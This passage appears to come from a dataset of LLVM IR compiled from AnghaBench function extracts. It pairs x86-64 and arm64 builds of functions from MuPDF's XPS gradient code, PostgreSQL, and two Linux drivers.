%53) #5 %55 = extractvalue %struct.TYPE_5__ %54, 0 %56 = extractvalue %struct.TYPE_5__ %54, 1 %57 = extractvalue %struct.TYPE_5__ %54, 2 %58 = extractvalue %struct.TYPE_5__ %54, 3 %59 = load float, ptr %9, align 4, !tbaa !6 %60 = fsub float %55, %59 %61 = load float, ptr %10, align 4, !tbaa !6 %62 = fsub float %56, %61 %63 = call float @hypotf(float noundef %60, float noundef %62) #6 %64 = fdiv float %63, %35 %65 = call i32 @ceilf(float noundef %64) #5 %66 = call i32 @fz_maxi(i32 noundef 1, i32 noundef %65) #5 %67 = load float, ptr %9, align 4, !tbaa !6 %68 = fsub float %57, %67 %69 = load float, ptr %10, align 4, !tbaa !6 %70 = fsub float %56, %69 %71 = call float @hypotf(float noundef %68, float noundef %70) #6 %72 = fdiv float %71, %35 %73 = call i32 @ceilf(float noundef %72) #5 %74 = call i32 @fz_maxi(i32 noundef %66, i32 noundef %73) #5 %75 = load float, ptr %9, align 4, !tbaa !6 %76 = fsub float %55, %75 %77 = load float, ptr %10, align 4, !tbaa !6 %78 = fsub float %58, %77 %79 = call float @hypotf(float noundef %76, float noundef %78) #6 %80 = fdiv float %79, %35 %81 = call i32 @ceilf(float noundef %80) #5 %82 = call i32 @fz_maxi(i32 noundef %74, i32 noundef %81) #5 %83 = load float, ptr %9, align 4, !tbaa !6 %84 = fsub float %57, %83 %85 = load float, ptr %10, align 4, !tbaa !6 %86 = fsub float %58, %85 %87 = call float @hypotf(float noundef %84, float noundef %86) #6 %88 = fdiv float %87, %35 %89 = call i32 @ceilf(float noundef %88) #5 %90 = call i32 @fz_maxi(i32 noundef %82, i32 noundef %89) #5 %91 = load i32, ptr @SPREAD_REPEAT, align 4, !tbaa !12 %92 = icmp eq i32 %91, %7 br i1 %92, label %93, label %107 93: ; preds = %52 %94 = icmp sgt i32 %90, 0 br i1 %94, label %95, label %139 95: ; preds = %93, %95 %96 = phi i32 [ %97, %95 ], [ %90, %93 ] %97 = add nsw i32 %96, -1 %98 = load float, ptr %9, align 4, !tbaa !6 %99 = load float, ptr %10, align 4, !tbaa !6 %100 = uitofp nneg i32 %97 to float %101 = call float @llvm.fmuladd.f32(float %100, float %35, float 0.000000e+00) %102 = load float, ptr %11, align 4, !tbaa !6 %103 = load float, ptr %12, align 4, !tbaa !6 %104 = call float @llvm.fmuladd.f32(float %100, float %35, float %35) %105 = call i32 @xps_draw_one_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %44, ptr noundef %4, i32 noundef %5, i32 noundef 0, float noundef %98, float noundef %99, float noundef %101, float noundef %102, float noundef %103, float noundef %104) #5 %106 = icmp ugt i32 %96, 1 br i1 %106, label %95, label %139, !llvm.loop !14 107: ; preds = %52 %108 = load i32, ptr @SPREAD_REFLECT, align 4, !tbaa !12 %109 = icmp eq i32 %108, %7 br i1 %109, label %110, label %133 110: ; preds = %107 %111 = and i32 %90, 1 %112 = add i32 %111, %90 %113 = icmp sgt i32 %112, 1 br i1 %113, label %114, label %139 114: ; preds = %110, %114 %115 = phi i32 [ %116, %114 ], [ %112, %110 ] %116 = add nsw i32 %115, -2 %117 = load float, ptr %9, align 4, !tbaa !6 %118 = load float, ptr %10, align 4, !tbaa !6 %119 = uitofp nneg i32 %116 to float %120 = call float @llvm.fmuladd.f32(float %119, float %35, float 0.000000e+00) %121 = load float, ptr %11, align 4, !tbaa !6 %122 = load float, ptr %12, align 4, !tbaa !6 %123 = call float @llvm.fmuladd.f32(float %119, float %35, float %35) %124 = call i32 @xps_draw_one_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %44, ptr noundef %4, i32 noundef %5, i32 noundef 0, float noundef %117, float noundef %118, float noundef %120, float noundef %121, float noundef %122, float noundef %123) #5 %125 = load float, ptr %9, align 4, !tbaa !6 %126 = load float, ptr %10, align 4, !tbaa !6 %127 = uitofp nneg i32 %115 to float %128 = call float @llvm.fmuladd.f32(float %127, float %35, float 0.000000e+00) %129 = load float, ptr %11, align 4, !tbaa !6 %130 = load float, ptr %12, align 4, !tbaa !6 %131 = call i32 @xps_draw_one_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %44, ptr noundef %4, i32 noundef %5, i32 noundef 0, float noundef %125, float noundef %126, float noundef %128, float noundef %129, float noundef %130, float noundef %123) #5 %132 = icmp ugt i32 %115, 3 br i1 %132, label %114, label %139, !llvm.loop !16 133: ; preds = %107 %134 = load float, ptr %9, align 4, !tbaa !6 %135 = load float, ptr %10, align 4, !tbaa !6 %136 = load float, ptr %11, align 4, !tbaa !6 %137 = load float, ptr %12, align 4, !tbaa !6 %138 = call i32 @xps_draw_one_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %44, ptr noundef %4, i32 noundef %5, i32 noundef 1, float noundef %134, float noundef %135, float noundef 0.000000e+00, float noundef %136, float noundef %137, float noundef %35) #5 br label %139 139: ; preds = %114, %95, %110, %93, %133 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %12) #5 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %11) #5 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %10) #5 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %9) #5 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare ptr @fz_xml_att(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @xps_parse_point(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare float @fz_atof(ptr noundef) local_unnamed_addr #2 declare float @fz_max(float noundef, float noundef) local_unnamed_addr #2 declare i64 @fz_abs(float noundef) local_unnamed_addr #2 declare i32 @fz_pre_scale(i32 noundef, i32 noundef, float noundef) local_unnamed_addr #2 declare i32 @fz_invert_matrix(i32 noundef) local_unnamed_addr #2 declare %struct.TYPE_5__ @fz_transform_rect([4 x float], i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 declare i32 @fz_maxi(i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @ceilf(float noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nofree nosync nounwind willreturn memory(none) declare float @hypotf(float noundef, float noundef) local_unnamed_addr #3 declare i32 @xps_draw_one_radial_gradient(ptr noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef, float noundef, float noundef, float noundef, float noundef, float noundef, float noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) declare float @llvm.fmuladd.f32(float, float, float) #4 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { mustprogress nofree nosync nounwind willreturn memory(none) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #4 = { mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #5 = { nounwind } attributes #6 = { nounwind willreturn memory(none) } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"float", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"long", !8, i64 0} !12 = !{!13, !13, i64 0} !13 = !{!"int", !8, i64 0} !14 = distinct !{!14, !15} !15 = !{!"llvm.loop.mustprogress"} !16 = distinct !{!16, !15}
sumatrapdf_mupdf_source_xps_extr_xps-gradient.c_xps_draw_radial_gradient
; ModuleID = 'AnghaBench/postgres/src/backend/commands/extr_tablecmds.c_RememberConstraintForRebuilding.c' source_filename = "AnghaBench/postgres/src/backend/commands/extr_tablecmds.c_RememberConstraintForRebuilding.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_3__ = type { i32, i32 } @llvm.compiler.used = appending global [1 x ptr] [ptr @RememberConstraintForRebuilding], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @RememberConstraintForRebuilding(i32 noundef %0, ptr nocapture noundef %1) #0 { %3 = getelementptr inbounds %struct.TYPE_3__, ptr %1, i64 0, i32 1 %4 = load i32, ptr %3, align 4, !tbaa !5 %5 = tail call i32 @list_member_oid(i32 noundef %4, i32 noundef %0) #2 %6 = icmp eq i32 %5, 0 br i1 %6, label %7, label %13 7: ; preds = %2 %8 = tail call ptr @pg_get_constraintdef_command(i32 noundef %0) #2 %9 = load i32, ptr %3, align 4, !tbaa !5 %10 = tail call i32 @lappend_oid(i32 noundef %9, i32 noundef %0) #2 store i32 %10, ptr %3, align 4, !tbaa !5 %11 = load i32, ptr %1, align 4, !tbaa !10 %12 = tail call i32 @lappend(i32 noundef %11, ptr noundef %8) #2 store i32 %12, ptr %1, align 4, !tbaa !10 br label %13 13: ; preds = %7, %2 ret void } declare i32 @list_member_oid(i32 noundef, i32 noundef) local_unnamed_addr #1 declare ptr @pg_get_constraintdef_command(i32 noundef) local_unnamed_addr #1 declare i32 @lappend_oid(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @lappend(i32 noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 4} !6 = !{!"TYPE_3__", !7, i64 0, !7, i64 4} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!6, !7, i64 0}
; ModuleID = 'AnghaBench/postgres/src/backend/commands/extr_tablecmds.c_RememberConstraintForRebuilding.c' source_filename = "AnghaBench/postgres/src/backend/commands/extr_tablecmds.c_RememberConstraintForRebuilding.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @RememberConstraintForRebuilding], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @RememberConstraintForRebuilding(i32 noundef %0, ptr nocapture noundef %1) #0 { %3 = getelementptr inbounds i8, ptr %1, i64 4 %4 = load i32, ptr %3, align 4, !tbaa !6 %5 = tail call i32 @list_member_oid(i32 noundef %4, i32 noundef %0) #2 %6 = icmp eq i32 %5, 0 br i1 %6, label %7, label %13 7: ; preds = %2 %8 = tail call ptr @pg_get_constraintdef_command(i32 noundef %0) #2 %9 = load i32, ptr %3, align 4, !tbaa !6 %10 = tail call i32 @lappend_oid(i32 noundef %9, i32 noundef %0) #2 store i32 %10, ptr %3, align 4, !tbaa !6 %11 = load i32, ptr %1, align 4, !tbaa !11 %12 = tail call i32 @lappend(i32 noundef %11, ptr noundef %8) #2 store i32 %12, ptr %1, align 4, !tbaa !11 br label %13 13: ; preds = %7, %2 ret void } declare i32 @list_member_oid(i32 noundef, i32 noundef) local_unnamed_addr #1 declare ptr @pg_get_constraintdef_command(i32 noundef) local_unnamed_addr #1 declare i32 @lappend_oid(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @lappend(i32 noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 4} !7 = !{!"TYPE_3__", !8, i64 0, !8, i64 4} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!7, !8, i64 0}
postgres_src_backend_commands_extr_tablecmds.c_RememberConstraintForRebuilding
; ModuleID = 'AnghaBench/linux/drivers/media/rc/extr_iguanair.c_iguanair_set_tx_carrier.c' source_filename = "AnghaBench/linux/drivers/media/rc/extr_iguanair.c_iguanair_set_tx_carrier.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.iguanair = type { i32, i32, i32, ptr } %struct.TYPE_2__ = type { i32, i32 } @EINVAL = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @iguanair_set_tx_carrier], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @iguanair_set_tx_carrier(ptr nocapture noundef readonly %0, i32 noundef %1) #0 { %3 = load ptr, ptr %0, align 8, !tbaa !5 %4 = add i32 %1, -150001 %5 = icmp ult i32 %4, -125001 br i1 %5, label %6, label %9 6: ; preds = %2 %7 = load i32, ptr @EINVAL, align 4, !tbaa !10 %8 = sub nsw i32 0, %7 br label %33 9: ; preds = %2 %10 = getelementptr inbounds %struct.iguanair, ptr %3, i64 0, i32 2 %11 = tail call i32 @mutex_lock(ptr noundef nonnull %10) #2 %12 = load i32, ptr %3, align 8, !tbaa !12 %13 = icmp eq i32 %12, %1 br i1 %13, label %31, label %14 14: ; preds = %9 store i32 %1, ptr %3, align 8, !tbaa !12 %15 = shl nuw nsw i32 %1, 1 %16 = tail call i32 @DIV_ROUND_CLOSEST(i32 noundef 24000000, i32 noundef %15) #2 %17 = getelementptr inbounds %struct.iguanair, ptr %3, i64 0, i32 1 %18 = load i32, ptr %17, align 4, !tbaa !14 %19 = sub nsw i32 %16, %18 %20 = sub i32 0, %19 %21 = and i32 %20, 3 %22 = mul nsw i32 %21, -7 %23 = add i32 %22, %19 %24 = sdiv i32 %23, -4 %25 = shl nuw nsw i32 %21, 1 %26 = sub nuw nsw i32 8, %25 %27 = getelementptr inbounds %struct.iguanair, ptr %3, i64 0, i32 3 %28 = load ptr, ptr %27, align 8, !tbaa !15 store i32 %26, ptr %28, align 4, !tbaa !16 %29 = add nsw i32 %24, 110 %30 = getelementptr inbounds %struct.TYPE_2__, ptr %28, i64 0, i32 1 store i32 %29, ptr %30, align 4, !tbaa !18 br label %31 31: ; preds = %14, %9 %32 = tail call i32 @mutex_unlock(ptr noundef nonnull %10) #2 br label %33 33: ; preds = %31, %6 %34 = phi i32 [ %8, %6 ], [ 0, %31 ] ret i32 %34 } declare i32 @mutex_lock(ptr noundef) local_unnamed_addr #1 declare i32 @DIV_ROUND_CLOSEST(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @mutex_unlock(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"rc_dev", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0} !12 = !{!13, !11, i64 0} !13 = !{!"iguanair", !11, i64 0, !11, i64 4, !11, i64 8, !7, i64 16} !14 = !{!13, !11, i64 4} !15 = !{!13, !7, i64 16} !16 = !{!17, !11, i64 0} !17 = !{!"TYPE_2__", !11, i64 0, !11, i64 4} !18 = !{!17, !11, i64 4}
; ModuleID = 'AnghaBench/linux/drivers/media/rc/extr_iguanair.c_iguanair_set_tx_carrier.c' source_filename = "AnghaBench/linux/drivers/media/rc/extr_iguanair.c_iguanair_set_tx_carrier.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @EINVAL = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @iguanair_set_tx_carrier], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal range(i32 -2147483647, -2147483648) i32 @iguanair_set_tx_carrier(ptr nocapture noundef readonly %0, i32 noundef %1) #0 { %3 = load ptr, ptr %0, align 8, !tbaa !6 %4 = add i32 %1, -150001 %5 = icmp ult i32 %4, -125001 br i1 %5, label %6, label %9 6: ; preds = %2 %7 = load i32, ptr @EINVAL, align 4, !tbaa !11 %8 = sub nsw i32 0, %7 br label %33 9: ; preds = %2 %10 = getelementptr inbounds i8, ptr %3, i64 8 %11 = tail call i32 @mutex_lock(ptr noundef nonnull %10) #2 %12 = load i32, ptr %3, align 8, !tbaa !13 %13 = icmp eq i32 %12, %1 br i1 %13, label %31, label %14 14: ; preds = %9 store i32 %1, ptr %3, align 8, !tbaa !13 %15 = shl nuw nsw i32 %1, 1 %16 = tail call i32 @DIV_ROUND_CLOSEST(i32 noundef 24000000, i32 noundef %15) #2 %17 = getelementptr inbounds i8, ptr %3, i64 4 %18 = load i32, ptr %17, align 4, !tbaa !15 %19 = sub nsw i32 %16, %18 %20 = sub i32 0, %19 %21 = and i32 %20, 3 %22 = mul nsw i32 %21, -7 %23 = add i32 %22, %19 %24 = sdiv i32 %23, -4 %25 = shl nuw nsw i32 %21, 1 %26 = sub nuw nsw i32 8, %25 %27 = getelementptr inbounds i8, ptr %3, i64 16 %28 = load ptr, ptr %27, align 8, !tbaa !16 store i32 %26, ptr %28, align 4, !tbaa !17 %29 = add nsw i32 %24, 110 %30 = getelementptr inbounds i8, ptr %28, i64 4 store i32 %29, ptr %30, align 4, !tbaa !19 br label %31 31: ; preds = %14, %9 %32 = tail call i32 @mutex_unlock(ptr noundef nonnull %10) #2 br label %33 33: ; preds = %31, %6 %34 = phi i32 [ %8, %6 ], [ 0, %31 ] ret i32 %34 } declare i32 @mutex_lock(ptr noundef) local_unnamed_addr #1 declare i32 @DIV_ROUND_CLOSEST(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @mutex_unlock(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"rc_dev", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !12, i64 0} !12 = !{!"int", !9, i64 0} !13 = !{!14, !12, i64 0} !14 = !{!"iguanair", !12, i64 0, !12, i64 4, !12, i64 8, !8, i64 16} !15 = !{!14, !12, i64 4} !16 = !{!14, !8, i64 16} !17 = !{!18, !12, i64 0} !18 = !{!"TYPE_2__", !12, i64 0, !12, i64 4} !19 = !{!18, !12, i64 4}
linux_drivers_media_rc_extr_iguanair.c_iguanair_set_tx_carrier
; ModuleID = 'AnghaBench/linux/drivers/md/extr_dm-table.c_dm_table_postsuspend_targets.c' source_filename = "AnghaBench/linux/drivers/md/extr_dm-table.c_dm_table_postsuspend_targets.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @POSTSUSPEND = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local void @dm_table_postsuspend_targets(ptr noundef %0) local_unnamed_addr #0 { %2 = icmp eq ptr %0, null br i1 %2, label %6, label %3 3: ; preds = %1 %4 = load i32, ptr @POSTSUSPEND, align 4, !tbaa !5 %5 = tail call i32 @suspend_targets(ptr noundef nonnull %0, i32 noundef %4) #2 br label %6 6: ; preds = %1, %3 ret void } declare i32 @suspend_targets(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/drivers/md/extr_dm-table.c_dm_table_postsuspend_targets.c' source_filename = "AnghaBench/linux/drivers/md/extr_dm-table.c_dm_table_postsuspend_targets.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @POSTSUSPEND = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define void @dm_table_postsuspend_targets(ptr noundef %0) local_unnamed_addr #0 { %2 = icmp eq ptr %0, null br i1 %2, label %6, label %3 3: ; preds = %1 %4 = load i32, ptr @POSTSUSPEND, align 4, !tbaa !6 %5 = tail call i32 @suspend_targets(ptr noundef nonnull %0, i32 noundef %4) #2 br label %6 6: ; preds = %1, %3 ret void } declare i32 @suspend_targets(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
linux_drivers_md_extr_dm-table.c_dm_table_postsuspend_targets
